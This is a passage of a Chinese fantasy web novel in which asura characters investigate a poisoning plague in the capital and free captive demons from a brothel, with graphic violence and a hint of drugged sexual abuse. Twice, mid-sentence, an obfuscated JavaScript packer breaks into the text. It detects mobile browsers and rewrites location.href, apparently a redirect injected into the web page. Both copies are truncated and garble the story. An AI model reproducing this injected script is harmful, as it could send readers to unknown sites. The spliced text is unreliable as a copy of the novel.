沛然面色一惊,生怕睢羲觉得他们有所隐瞒,急忙说:“我们也只是了解到了一些手札内容和传闻,具体并不清楚,或许戚诃在仿制的过程中出了差池也不无可能,毕竟是东方夜谭般的计划。而且当年那名女修并未将这种毒液用于抵抗修罗,虽说她已经死了一两百年的时间。” 季易冷笑了一声,“你们未免也太过于杞人忧天了,怕他们做什么?我们可是天生地长的修罗,区区人类,不过百年就想比肩我们,真是痴心妄想,不过......” 季易话风一转,他抬眸看向睢羲,笑容邪性,“您不想知道当初七仙是如何抓到那么多修罗的吗?” “你知晓?”睢羲抬眸看向季易,神情冷淡,“这种事情不奇怪,毕竟当初段怀野也抓了很多修罗去淬炼太初剑,那个女修得到了段怀野的手记也是有可能的。” 季易面上笑意更深,“我还以为您知道其中缘由呢,毕竟您活了那么长时间。” 睢羲面无表情地说:“你若知晓便大方说出,不必在此意有所指,哪怕是你的猜测。” 姜芜听着三人的谈话,伸手敲了敲床架,“我也要喝水。” 睢羲往内间看了一眼,随后起身端起自己的杯子往里走去。 “你不要吵,先休息片刻。” 睢羲把姜芜扶起,让她靠在自己的怀中,然后将杯沿凑到她的唇边,示意她喝水。 姜芜偏过头,似赌气一般,“怎么?连喝水都不可以吗?还是说我不能听你们的谈话?” “没说不让你听,不是口渴吗?”睢羲作势要将茶杯移走,“不喝?” 姜芜仰头看着睢羲,她抿了抿自己干瘪的双唇,“一口水而已,不给喝就算了。” 睢羲无奈地叹了一息,缓慢地将水喂给姜芜。 姜芜水喝到一半便呛咳了起来,喝进去的茶水与翻涌上来的鲜血相抵触,血水混合物直接呛进了气管中。 睢羲见状将茶杯放在了一旁的矮几上,扬声对外间说:“没什么事,你们便先回去吧,静候王上的指示。” 季易和沛然互看一眼,随即便起身退了出去,顺便将房门合了上来。 睢羲轻拍着姜芜的后背,帮她顺着气,随后把她抱至腿上,黑色的戾气从他的体内涌出,如同沉寂幽暗的夜,将两个人包裹起来。 姜芜抬手环住睢羲的脖颈,小声倒换着自己的气息,脸色苍白,神情萎靡。 睢羲说:“不过短短几日时间便将自己搞成这副模样,连天河之水也仅仅是片刻功效,你到底要如何?” 姜芜靠在睢羲的肩上,无声地吸收着他释放出来的戾气,填补自己体内的空缺,但也只是收取了一小部分,仅仅用来治愈好自己的旧伤。 “只是这些便够了?” 睢羲强硬地往姜芜的体内灌注戾气。 姜芜咬牙,强烈的戾气将她平息下去的反噬又勾了出来,她忍着疼痛闷声闷气地说:“我想去游湖,这段时间都没怎么好好玩。” 姜芜说完便坐直了身体,将自己和睢羲拉开了一段距离,一脸殷切地看着他。 睢羲伸手梳理着姜芜脸上的乱发,“近日天都城内已经没有游船了,城东出现了投毒一事,所有的河道都已经被全部封锁。你若是愿意的话,倒是可以去街上逛逛。” 姜芜双眸一亮,“真的可以去街上逛逛吗?” 睢羲看着姜芜的双眸,开口质问道:“想去街上逛逛还是想去查城东投毒一事?” “你呢?”姜芜问道,“你想做什么,我便陪你做什么。” 睢羲说:“去街上逛逛吧,你若是想要去查东城投毒一事,我也多少有些眉目。” 姜芜趴在睢羲怀中,轻轻地抚摸着他心口的位置,“既然你有眉目,那你会告诉我吗?” 26. 天都 睢羲拂开姜芜按在他心口的手,神情淡然,“你想知晓吗?” 姜芜神情一愣,她对于睢羲方才的举动有些意外,随即报复性地将自己的手塞进了他的手中,并用手指死死地扣住。 “我不走。” 睢羲见状握紧了姜芜的手,另一只手安抚性地拍了拍她的后背。 “我在闻香镇的时候听那些修道之人说过这件事情,他们是跟随着水中的磷粉追查过去的,而这磷粉似乎产自于霰雪蝶身上,所以这件事情是跟雾沅有关吗?” 睢羲扯过一旁的披风盖在了姜芜的肩上,“雾沅?那只蝶妖的名字吗?” 姜芜轻哼了一声,“你果然一直隐匿了气息跟在我身边,毕竟你连隋垂枝的事情都能说出一二。” 睢羲揉了揉姜芜的头发,“你没说不让我跟着。” “你有那么听我的话?”姜芜起身看着睢羲的双眸,“我让你回无幻之境,你也没有听我的话。” 睢羲垂眸避开姜芜的视线,“为何不能一起回去?濯濯,你出来得已经够久了,为何不回家?” 姜芜蹙眉,语气有些不悦,“我有我要做的事情,人间灵气充沛,会加剧你的伤势,不利于恢复。你待在人间,你不疼吗?” “你需要多久的时间?”睢羲伸手抚过姜芜的脸颊,动作缱绻又依恋,“在我死之前,你会回来看我最后一眼吗?” 姜芜呼吸一窒,密密麻麻地痛意浮出,她无言地看着睢羲,直至后者伸手盖住了她的双眸。 睢羲缓缓道着这些年的所思所想,“当年杀段怀野是我考虑不周了,少了一个值得托付的人,见你交了这么多新朋友,我感到很欣慰。无幻之境的房子已经收拾好了,不过很快便要进入永夜,估计撒下的花种不等发芽就会在泥土中腐烂。但是,人间很大,你也喜爱热闹,所以我在天都给你准备了一间小院子。” 睢羲将早已准备好的铜钥匙取了出来,冰凉坚硬的金属带着一丝属于他的体温压进姜芜柔软温暖的掌心中。 “濯濯已经长大了,有了自己的想法,不再需要我的庇护。将你安顿好,我便没有任何遗憾了。” 姜芜拍开睢羲的手,将掌心中的钥匙丢了回去,开口质问道:“我不需要你安顿,你凭什么要对我负责?为何我的错要让你来承担后果?” 睢羲垂眸一笑,他起身把姜芜抱到了梳妆台前,取了梳子为她梳发髻。 “不是说要到天都城内逛逛吗?我带你去查明投毒一事。” 姜芜长长地叹了一息,随后看着镜子中的自己,对睢羲比划道:“我想梳那种垂耳的发髻。” 睢羲从首饰盒中取了几根发簪,是他来天都城时在首饰店中买下的,姜芜平时会喜欢的风格。 “好,你乖乖坐好。” 【天都城内】 天都城为皇城天子脚下,路上宝马香车,名贵香料数不胜数,城内东南西北四条主路分别以四神兽命名,并陈铺白玉做路。一条名为玉浆的河流穿城而过,原本城内最热闹的不过酒楼与胭脂水粉铺子,各路文人雅客、女郎夫人在此络绎不绝。 自从发生了城东投毒一事,城中的医馆也是人满为患,往往来不及送往义庄的尸体就堆放在门口,草席一裹便算是体面,甚至有些直接陈尸于医馆门口,导致来往之人怨声载道。 圣人知晓后命除妖司五日之内解决此事,现下已过了半月有余,众法师依旧束手无策,不得已求助起了江湖中的各门各派。 圣人无计可施,只能暂时隔离东城,禁止从玉浆河内取水,才堪堪将中毒一事控制住。 但是事情并没有表面上的那么简单,即便是不从玉浆河内取水,毒也会从河水中蒸发而出,入侵着天都城的每一个人。 宫中的御医提出了以打湿的棉布遮面的法子暂时阻挡毒气的吸入,一个时辰更换一次,并将换下来的棉布进行热水煮沸消毒,在太阳下暴晒之后循环使用,配合着强身健体的汤药,暂时控制住疫病,但天都城的药材很快告急,圣人不得已打开国库放药,比起日益剧增的中毒人数,已然是杯水车薪。 起初中毒者只是腹泻不止,后续逐渐发展为中毒者具有较长的潜伏期,一旦发病便会浑身流血不止,直到死亡。 姜芜牵着睢羲的手,缓步行走在天都城中,她脸上戴着遮面用的白布,四处打量着周围的一切。 “我们来得似乎不是时候。”姜芜抬眸看向睢羲,“这里似乎并不如之前热闹了,连糖葫芦都没有卖的。” “毕竟现下天都城内疫病严重,入口之物若不是经过高温烹煮,很有可能被感染。”睢羲捻了捻遮面的边角,“我们根本不会感染疫病,为何还要带这种遮面?” “当然是入乡随俗了。”姜芜从摊子上包了一斤糖炒栗子,“在疫病横行的天都城,如果我们不戴遮面的话?岂不是很奇怪,万一遇到除妖司的人,他们把我们捉起来怎么办?” 睢羲伸手接过姜芜递过来的糖炒栗子,为了保险起见所有的栗子都没有开口,他两指卡着栗子轻轻一捏,坚硬的外壳便裂成两半,将里面的栗肉完整的露了出来。 “你害怕除妖司的人?”说完,睢羲将剥好的栗子递了过去。 姜芜见状低头含走了睢羲指尖的栗子,眯了眯双眸,“好甜啊。谁害怕了,我不怕,避免惹麻烦嘛。” “小心积食。” 姜芜拉着睢羲往前走着,“我又不贪嘴,而且我才吃了一个,前面的有卖梨的哎。” “吃吗?” 姜芜笑着点了点头。 睢羲挑了几个个头适中的黄皮梨子,正准备付钱的时候旁边摊主突然剧烈地咳嗽了起来,而且越发得频繁,最后一口气没有出来吐出了一口脓血,夹杂着一些内脏碎片。 周围的人见状,高呼一声四散而去。 “这人......这人染了疫病啊!!!我完了,我也要死了!!!!” 睢羲蹙眉,他把姜芜拉到身边,以免她被周围逃跑的人冲撞到,“当心一些。” 长街尽头很快跑来一群穿黑衣的除妖司法师,为首的一名男子身穿玄衣赤金蟒袍,腰间挂着一柄细长的弯刀。 巫承莲俯身看了一眼倒地口吐血沫的小贩,向后挥了挥手示意将人抬走。 “带到城东集中焚烧。” 一位穿着荆钗布裙的女子冲了过来,她匍匐在巫承莲脚下,“法师大人,法师大人,不要烧我的丈夫啊,让我带他回去入土为安吧。身体发肤,受之父母,怎可以轻易损坏?” 女子的一双儿女也跑来跪在巫承莲脚下,一边一个抱着他的双腿,哭喊着不要烧他们的爹爹。 巫承莲蹙眉,“圣人有旨,凡事死于中毒疫病者,尸体全部焚烧,不得私自掩埋,以免毒气渗入土壤,我也是听命行事。” “呜哇哇,你要烧我爹爹,你就是坏人。” 小男孩起身对着巫承莲拳打脚踢。 女人生怕惹怒了面前的法师,立刻将儿子抱进了怀中,神情楚楚可怜,“官爷,小孩子不懂事,您大人有大量,别责罚我们。” 巫承莲神情冷峻,“请不要这么自私,为了你的一双儿女多多考虑,也为你自己多多考虑考虑。” 女人闻言抱着自己的儿女大哭了起来。 巫承莲见状,招手命人将尸体抬走,他见孤儿寡母哭得如此可怜,心中不忍,将自己的腰间的荷包解下递了过去,“拿着这些钱做一些小本生意,好好得养活你的儿女吧。” 女人泪眼婆娑地抬眸看向巫承莲,颤颤巍巍地伸出自己的双手,捧住了巫承莲递着荷包的手,“谢谢大人。” 巫承莲颔首。 女人眼神突然狠厉,发了疯一般地握住巫承莲的手,张口便咬了上去。 “大人!!!” 周围的法师上前将女人拉开,只见巫承莲手上的伤口已经见骨,张牙舞爪的碎肉,鲜血如同断了线的珠子一般往下滴落,浸湿了掉落在地的荷包。 姜芜面色一怔,露出一丝凝重。 睢羲见状,伸手在姜芜的面前晃了晃,让她的注意力转移到了自己的身上,“我们走吧?” 姜芜抬眸看着睢羲,“他似乎要染上那种毒了。” 睢羲侧眸看了巫承莲一眼,伸手揽住姜芜的肩膀,将她圈进了自己的怀中。 “你们不得好死!你们让我们东城的百姓自生自灭!举头三尺有神明,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106436|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此做,不怕遭天谴吗?!”女人大吼大叫着,“不要以为我不知道,元日之前你们便打算将我们东城的百姓全部烧死,消灭你们所有的罪证!!!圣人?他配坐这个位子吗?!” 巫承莲蹙眉,他忌惮般地看了一眼四周。 一个法师上前将刀鞘捅入了女人的口中,制止了她继续胡言乱语。 女人被捅得口吐鲜血,牙齿也脱落了起来,她继续不依不饶地哭喊着,嘴被堵上只能发出呜呜咽咽的声音。 巫承莲看着自己血肉模糊的手,拧紧眉心,示意人将那个女人放开。 女人脱力扑倒在地上,她神情狼狈地抬起头,目光怨毒地看着巫承莲,接着她笑容一僵,双眸一翻,浑身抽搐了起来,鲜血从她的身体中渗出,很快积攒出一滩并向四周蔓延而去。 女人很快没有了生息,身体躺在冰凉的地面上逐渐僵硬。 四周看热闹的百姓顿时后退了几步,叽叽喳喳地抱怨起来。 “这一家子都有病!” “东城的人为什么要出来祸害我们?老实在东城待着不行吗?现下该怎么办?” “真是让这一家子人害了我们整个北城啊!” “这夫妻两人有病,这两个孩子肯定也有病!” “怎么办啊?要不直接让法师杀了他们?!” “哎呀,怎么说也是两个孩子,要直接杀了他们吗?这样不好吧?” “早死晚死都得死,不如现在就杀了他们,舍得以后发病的时候受苦。” “法师大人,你赶紧给这两个孩子一个了断吧,也算你功德一件。” “反正北城已经这样了,你自己看着办吧。” “法师被咬了,他会不会得病啊?” “胡说,那可是法师,神通广大,怎么可能会得病。” 睢羲微微俯身,双唇贴着姜芜的耳廓,声音低沉,“濯濯,我们回去吧?你所向往的人间,便是如此。他们想杀人,却不敢自己的动手,于是便怂恿别人。人族渺小,害怕死亡是一件再正常不过的事情,如果可以,人人都想要长生。两个幼童而已,何事都没有做错,他们以为是妖怪投毒,其实是人人相食,自相残杀。” 姜芜抬眸看向睢羲,带着不解地神情,“天都东城到底发生了何事?只是玉浆河水的问题吗?地下水是否有事?!为何不曾听说过天都城外玉浆河下游有中毒一事发生?还是说那水底下有东西?!” “有些东西你见过了才会知晓。”睢羲伸手牵过姜芜的手,带着她远离了此地,“他们如此,你觉得是法不责众吗?不过是底层人的自相残杀。一群以共同利益聚集起来的人,以众欺少。人间的圣人以求民心以固江山,得民心者得天下。但人心瞬时万变,你目前所看到的人心,是可以稳固江山的人心吗?即便是错的,但是圣人为了稳固民心,他会需要这般众望所归,大势所趋的民心吗?” 姜芜欲言又止地看着睢羲。 睢羲继续说:“圣人可以激进、也可以保守,更可以选择折中。比如法师不动手杀了那两个孩子,也不出手救他们,只是收敛了尸体,然后把那两个孩子交到人群之中。” 睢羲的话音刚落,巫承莲便骑马带着一群法师从二人身侧匆匆而过。 姜芜扭头看向身后,人群已经将两个瘦弱的孩子围堵了起来,她再也无法看到那两个孩子的处境。 “这件事的前因后果究竟是怎样的?”姜芜停住脚步,面无表情地看着睢羲,“你说过,你会告诉我的。” 睢羲停下脚步,他抬头看了一眼面前花楼的牌匾——丛流阁。 程氏三兄弟以程甲为首,往这边走了过来,程乙的手中牵着一条锁链,锁链的另一端拴着一个衣着清凉的女子,她的头上罩着麻袋,身后垂着一条脏兮兮的白色长尾。 丛流阁的掌事见状,立刻笑颜相迎,“程老大,这次又给我带来了什么好货?” 程甲介绍道:“一只白狐,大概刚化人形,涉世未深怕是没见过捉妖的法阵,让我们兄弟三人轻而易举地捉了来。” 姜芜蹙眉,她看着面前的三人,幽深漆黑的双眸逐渐泛红。 “一群混蛋!欺负小孩子算什么?!” 27. 调查 姜芜闻声向后看去,只见一个包着头巾穿围裙的年轻女子正朝这边走来,她手中牵着两个哭成花猫的孩子,正是方才经历了父母双亡的两个。 “你们放心,姐姐有钱,即便是你们病了,姐姐也会出钱给你们治好的。” 一个华服男子从后面赶了上来,痛心疾首地说:“高海语,你疯了是不是?为何要强出头带走他们?即便你酿酒赚了很多钱,但是这是钱能解决的问题吗?万一他们染病了,你怎么办?” 高海语一挥手,转身怒视着单蔚然,“难道就任凭他们当街将两个孩子杀害吗?他们刚刚才失去了父母,没有一个人可怜他们也就罢了,还要杀了他们!你不救,我救!我的钱跟你有什么关系?我这还没嫁给你呢,你便想着教育我?!看着同胞自相残杀,你跟那群人有什么区别?” 单蔚然蹙眉,急忙解释道:“海语,你明知道我不是那个意思。我只是关心你,你不要误会我。而且,我是那种在意钱的人吗?你每日酿酒那么辛苦,未说亲的女郎如何再养育两个孩子?” 高海语将两个孩子挡在身后,她双手掐腰,扬着下颌看向单蔚然,笑容灿烂,“好啊,你立刻明天娶我过门!” 单蔚然大惊,他伸手挠了挠头发,面上露出了一丝的羞赧,“会不会太快了?喜服还没有赶制出来呢。而且你也不看看,哪家女郎像你一般在大街上求娶的,人家会取笑你的,这种事情以后偷偷地单独说给我听便行,我爱听。” 高海语质问道:“那我问你,你娶还是不娶?” “当然,我当然要娶你,这是我梦寐以求的事情。”单蔚然憨笑着,“我怎么可能会不娶你呢,你愿意嫁给我是再好不过的事情了。” 姜芜轻笑一声,她抬眸看向睢羲,忍着心中的钝痛,以至于脸上的笑容有些苦涩,“人族的仪式未免也太繁琐了一些,又是合喜日,又是下聘礼的,女方还不许主动,还要订制婚服。” 睢羲垂眸,伸手轻刮了一下姜芜的鼻尖,“不气了?” 姜芜抿了抿双手,“你说吧,先从哪里查起?” 睢羲抬眸看着丛流阁的牌匾,“从这里开始,据我所知,这些年一些除妖师一直做着买卖妖兽的勾当,将一些堪堪能化形的小妖捉来,卖到这座酒楼中。这里面卧虎藏龙,有一名异士能活取妖丹,能保证妖兽维持着半人型且短时间内不死,高价将妖兽卖给权贵来猎奇。” 姜芜问道:“他们收集小妖内丹做何事?” “或许跟城东的投毒一事有关。”睢羲看着了一眼昏暗的天光,“时间差不多了,只是可惜今日你想梳的发髻了。” “为何?” “因为此地不许女子进入。” 姜芜挑眉,她伸手勾缠住睢羲垂落至腰间的发链,笑着说:“嗯?看来你对此地十分了解。” 睢羲说:“勿要多想,我也只是听季易他们说的。 姜芜笑意更深,她抬头看了一眼面前的花楼,“不直接隐藏气息闯进去吗?为何还要让我扮做男子?” 睢羲解释道:“你说的不要打草惊蛇,造成恐慌,以免他们毁尸灭迹,虽然屠了天都城也没什么。” 姜芜不赞同睢羲的说法,抿了抿双唇后,一言不发地转身走入一条无人的巷子,再次出来时换了一身蔼色的束袖长袍,一头墨发全部拢在了一处,额间带了一条银白色的细条编制抹额。 姜芜身量高,即便是扮做男子也不会令人起疑心。 “走吧,进去看看这里面到底有什么。” 睢羲垂眸看了姜芜一眼,伸手拉住了她的手,“我不屠城,也不会在人间杀人,你不要生气。” 姜芜看了一眼睢羲,又将目光落到了二人交握的手上,“那这次的银子你来出。” “好。” 丛流阁的掌事见二人进门,笑语相迎。 姜芜清了清嗓子,故意压低了声音,“掌柜的,我们需要你们这里最贵的包间、最好的酒,再给我一席你们这里最好的吃食。” 丛流阁掌事脸上笑意更深,他微微弯着腰,对姜芜说:“小公子,你们今夜可是来对地方了,今夜有精彩表演,保证你们满意。” 姜芜挑眉,“精彩表演?看来掌柜的近日得了好物。” 掌事大笑道:“都说了会让二位公子满意的,咱们楼上请?” 姜芜扬了扬下巴,随后松开睢羲的手,将无心乱化成一把白玉折扇,一边摇着一边跟上了掌事的步伐。 掌事打开一间位于二楼的暖阁,推开雕花木门,整个暖阁呈现出扇形,内侧窄外侧宽敞,他摇了摇门内的一盏铜铃,随即便有几位侍女鱼贯而入,将桌上摆满了佳肴,花瓶内放入鲜花,香炉中也焚了熏香。 掌事推开面对一楼小台的内窗,善舞的女郎身着暴露的绸缎衣裳在尽情地扭动着自己的腰肢,随着琴瑟之声变换着舞姿。 “请二位稍等片刻,一盏茶之后便是令人激动的表演,绝对让二位记忆深刻,毕生难忘。”掌事伸手示意门内的铜铃,“有事情摇响铃铛,门外会有哑奴听您的吩咐,无事小的便退下了。” 掌事说完之后便退了出去,并贴心地给二人关上房门。 睢羲盘膝坐在了软垫上,将手中的吃食放好,他从桌上取了银制的小刀将梨皮削下,切掉首尾两端,再挖去内核,放置于骨碟上切成小块。 姜芜坐在睢羲身边自酌,时不时打量起暖阁内的布局,“这种寻欢作乐的场地,若无权贵撑腰,怕是不敢私下里做妖兽买卖的勾当。而且也不是何等的私密,甚至不需要门槛,人人都能进来,胆子很大啊。” 睢羲将盛着梨块的骨碟推到了姜芜的面前,随后去过一旁的丝帕擦了擦手,“一般权贵取妖兽内丹会做何事?” 姜芜把杯中的残酒饮尽,“这里又跟城东投毒又有何关系?一直跟我打哑迷,我若是知晓,便不一个劲地问你了。” 睢羲看了姜芜一眼,伸手将珐琅酒壶取过来摇了摇,然后又放在了原位,“少喝一些。目前来看并无太多联系,但是城东的毒并不是简单的毒,让御医都束手无策。如果我的消息无误的话,城东之毒一开始只是腹泻不止,近几日才演变成令人化为血水的狂状,这已经不是简单的毒了,倒像是修罗的血,饮入之后穿肠烂肚。” 姜芜撑着头看向睢羲,双眸被酒精浸染至迷离,“百衢让你去扬州做何事?戚诃研究的活死人跟这里也有关系?修罗之血除了腐蚀性还有其他作用?” 睢羲说:“不过是一丘之貉,他们虽然行径不同,但是目的都是一样的。” “戚诃同我讲的是想要复活他被挖心的道侣。”姜芜松开手指,酒杯掉落在桌面上,随即滚远,在红木桌面上留下了一串酒渍,“他们是觉得妖怪和修罗身上有长生的秘密?” 睢羲盯着姜芜看了片刻,随后伸手托住她的脸,不容置疑地让她看向自己,“你醉了。” 姜芜蹙眉,她挥了挥有些无力的手,“胡说,我的酒量好得很。” 睢羲说:“不光是酒,还有香薰,其中都添加了令人迷幻的药,会让人不自觉地做出一些另自己都匪夷所思的事情。癫狂、轻浮、不理智等等。” 姜芜抬起自己的指尖,眼神迷离地盯着看了片刻,“是霰雪蝶,它们好可怜,被捉去制作成标本,内丹被挖走售卖。只是跟随着仙霰雪而已,以花蜜为生,却遭受了灭顶之灾。五行道宗口口声声说保护弱小,非同类便不是弱小了吗?” 姜芜说完便低头吃了几颗梨块,压下了口中的血腥味。 “所以你看到了什么?”睢羲说,“你体质特殊,太容易被影响了。即便是吸收了戾气,但还是或多或少地被影响。” 姜芜应了一声,抬眸看向睢羲,她的目光停留在后者的双眸中。 睢羲见姜芜不语也不再追问,他伸手取过酒壶给自己倒了一杯酒,仰头喝净,支起一条腿,换了个舒适的坐姿,右手撑在了身侧,双眸望着一楼的小台出神。 姜芜觉得自己的身体和思绪仿佛脱力了掌控,目光一下子垂到了睢羲染了酒液的双唇之上。 “还要继续查吗?不查的话,我可以带你去天都城的小院子看看。” 姜芜按紧了睢羲撑在一旁的手,随后不由分说地撞了上去。 睢羲蹙眉,刺痛感迅速传来,他很快便尝到了血腥味。 姜芜也只是吮了一下睢羲的下唇,便伸手将他推开,自顾自地偏头咽下翻涌上来的鲜血。 睢羲神情不解地看着姜芜,随后伸手托起了她的后背,“濯濯,你的脸色怎么这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真是吓人啊,怎么弄了个女修罗来,万一她发起疯来伤了我们该怎么办啊?” 哑奴双手捧着托盘走了过来。 “各位也算是我们丛流阁的老熟人了,怎么?不相信我们丛流阁办事吗?”说完,掌事命哑奴给柏雨喂了情/药,并从托盘中取出了一柄玉势。 “我们丛流阁当然是为各位着想,为各位服务的。” 姜芜清了清被鲜血糊住的嗓子,她偏头钻进了睢羲的怀中,用他的外袍将自己裹了起来,妄图屏蔽掉一楼的污言秽语,“她是怎么被抓的?” “我不清楚。”说完,睢羲抬手用戾气击打门内的铜铃。 哑奴低头走了进来。 “让掌事停手吧,今天所有的货物我都买下了,包括那个女修罗,我要她们完好无损。” 哑奴颔首,随即合上房门走了出去。 很快,沸腾的一楼便停歇了下来。 掌事抬头看了一眼姜芜和睢羲所在的暖阁,朝着看台底下的人略微一拱手,歉笑道:“抱歉了,各位爷,已经有人出钱买下今晚所有的货物。” “搞什么呢?这才刚开始呢!” “会不会来事啊?” “我们怎么办?我们可是为了丛流阁的这批货等了许久。” 掌事一脸嫌弃地手中的玉势扔进了托盘中,对众人说:“今晚丛流阁的酒水菜肴全部免费,姑娘小倌全部半价,请各位爷尽情享用。” 哑奴重新走了进来,手中端着个空托盘,她跪坐在姜芜和睢羲的面前,压低了自己的身体,将托盘高高地举过头顶。 姜芜起身,将随身携带的荷包解下,将里面的金珠全部倒了在托盘上,圆润的金珠几乎铺满了整个托盘,在昏黄的烛光之下熠熠生辉,个个饱满足量。 “带我们去看货,我想挑几个健康漂亮的。” 哑奴闻言抬眸看向了姜芜,随后举着托盘起身,侧身让开了门口的位置。 掌事从门口的位置走了过来,他抚摸过托盘中的一颗颗圆润的金珠,笑眯眯地说:“原来二位公子是想亲自挑货,那便跟我来吧。” 28. 地窖 掌事提灯在前面引路,姜芜和睢羲跟着他来到了丛流阁的后院。 “她们就在这里吗?” 姜芜扫视了一番这片荒芜的后院,不动声色地动了动手指,黑红色的戾气没入了地面中,迅速向四周蔓延开来,将方圆千里的气息全部捕捉并反馈回来。 丛流阁藏匿妖物和修罗的地方就在他们脚下的位置。 掌事命两个哑奴上前将地上的木门拉起,“二位贵客稍安勿躁,这些妖孽不听话的很,需要小心一些,以免冲撞了贵人。” 姜芜回头跟睢羲交换了一个颜色。 掌事的往地窖内看了一眼,对地窖内的东西露出了满意的神情,悠哉悠哉地说:“这间丛流阁虽然在天都城落脚不过五年时光,但是这五年来我也算是将这天都城的王权富贵都见了个遍,从未见过像二位这般大方又不知来历的富家公子,你们究竟是何人物?!” 掌事一改方才的老神在在,神情突然变得狠厉,挥手的瞬间将三枚银针甩了出去。 睢羲抬了抬手指,那三根银针原路返回,尽数打入了掌事的身体里。 掌事神情一愣,身体顿时没有了知觉,呻吟一声,跌倒在了原地。 姜芜一握手中的白玉折扇,一条长鞭呼啸而出,将两个哑奴抽倒在地。 睢羲走近掌事,低头往黑漆漆的地窖内看了一眼,他抬起右手,黑色的戾气缠绕上他的手指。 姜芜掐诀指天,眨眼之间,平地起风,天地之间骤变,一道如蛛网般的惊雷照亮了半个天都城,冰雹夹杂着暴雨顷刻而至。 睢羲回头看了姜芜一眼,抬手为了她了一方避雨的结界,接着他抽手的瞬间,地窖内的妖族和修罗尽数被带了出来。 小妖们相互依靠在一起,目光呆滞,神情惊悚。 柏雨独自躲在一旁,目光殷殷切切地看着面前的人。 姜芜走上前查看了一番,“都是一些被挖走了内丹的小妖,恐怕也活不了多久。” 睢羲给季易和沛然送了信,他看着地上的掌事和哑奴,“要杀了他们吗?” “以绝后患吧。”姜芜长舒了一口气,用无心乱将掌事绑了起来,“被挖走的妖怪内丹是何用处?” 掌事冷笑一声,他的视线被大雨模糊,面前人影憧憧,“想知道吗?那里有我的命灯,只要我死了,他们便会知晓,给你们一柱香的时间逃命吧。”说完,他便咬碎了藏在口腔中的毒药,整个人的身体都软了下来。 姜芜将尸体甩至一旁,她反复思索着掌事生前最后一段话,“整个天都城能供命灯的地方可不多,思来想去估计只有除妖司。” “先将小妖送回大荒,修罗送回无幻之境,失去了妖丹的小妖在人间难以存活。” 睢羲的话音刚落,一支真元箭破空而来,姜芜出手攥住箭矢,并掐碎于掌中。 二人一同转身往箭矢来的方向看去,巫承莲身穿赤红色文武袖,手持一把烈焰长刀立于屋檐之上,在瓢泼大雨之中刀身火焰不灭。 华清一身蓝衣立于巫承莲身侧,手持一柄绘着山海图的折扇,一脸戏谑地看着小院中的人。 “次次都有人闯进来,但是敢杀掌事你们还是头一个,你们知道掌事是谁吗?”华清说,“不过你们敢来此处,大抵不是人类。” 四周的除妖司法师将小院围了个滴水不漏。 巫承莲扬声道:“敢问阁下何方神圣?!” “恩人,求求你们救救我们。” “如果实在没办法的话,可以直接杀了我,我不想再回地窖里过着猪狗不如的日子。” 巫承莲蹙眉,他挥刀指向蜷缩在一处的小妖,“优先击杀小妖,决不能让她们活着离开丛流阁。” 华清冷笑一声,他转了转手中的折扇,“妖怪而已,居然还妄图得到跟人一样的权利吗?成王败寇,兵不厌诈,这种道理没有听说过吗?” 姜芜抬手掐诀,黑红色的戾气冲天而起,凝结出实体对准了除妖师众人,她神情略带玩味地看着巫承莲和华清,“可以试试,看看你们能坚持多久。” 巫承莲见状,心境有一丝的退缩,“如果二位愿意就此离开,将那些小妖和修罗留下交给我们处理,可以既往不咎,我们除妖司就当二位从未出现在天都城。” 华清看了一眼巫承莲,“少跟他们废话,直接杀了他们,敢在天子脚下出现,怕是不想活了。” 姜芜挥动手指,一道戾气化成的长刃擦着华清的脸飞了过去,看着后者僵住的身形,脸上笑意更深,“是我给你们机会,如果你们现下离开,我们也可手下留情哦。” “大人,我们来迟了。” 季易和沛然从远方袭来,路过两名黑衣人时,直接将人爆成了肉糜。 沛然说:“今夜天气实在诡异,所以花了一些时间。” 季易看了看四周,“这是什么有趣的地方啊?丛流阁吗?怎么会有修罗在其中,真是太丢我们的脸了。” 华清见状,脸色突然变得有些难看,他一甩折扇直冲姜芜而去。 巫承莲厉声道:“华清,别冲动!” 睢羲见状伸出二指往下一压,华清直接从空中坠下,狼狈地跌入了泥水之中。 “别动。” 华清抬起溅满泥水的脸,咬牙切齿地说:“你们是修罗!” 季易走上前,他俯身拍了拍华清的脸,“分神期修士吗?都不够我塞牙缝的。你们人族再刻苦修炼又如何?比得过我们天生地长吗?” “你!” 华清怒视着季易,他想起身却被睢羲的戾气压得死死的,根本动弹不得。 沛然看了一眼睢羲,随后才上前对巫承莲说:“我家大人今日原本不会出手,但是同族受辱,不得不救。只是你们如此做,过于的不人道。虽然种族不同,但是她们究竟是手无缚鸡之力、刚化形的小妖,或许从未做过伤天害理的事情,甚至没有出过大荒。只要今夜揭过,我们是不会插手你们之间自相残杀的事情。” “人道?!”华清怒视着面前的修罗,“你们修罗仰仗着自己天生地长,欺辱我们之时,可曾想过这些?冤冤相报何时了?轮到你们被欺压的时候,便开始讲这种话,情和理都是你们的,不是都是我们的。” 沛然有些茫然地看向睢羲。 姜芜蹙眉,华清所说的事情确实无解,她垂下了双眸,表情有些无措。 睢羲伸手牵过姜芜的手,将她紧握的手指展开,包在了自己的掌心中,“今晚,要活还是要死?选一个。” 巫承莲看了一眼睢羲,“烦请您解开他的禁制,我们立刻便走。” 睢羲抬手的瞬间压在华清身上的戾气立刻散开。 巫承莲收了长刀,随即上前搀扶起华清,命人收敛了那两具尸体,随后便撤出了丛流阁。 睢羲对季易和沛然说:“你们两个兵分两路,将小妖送去大荒,修罗送回无幻之境。” 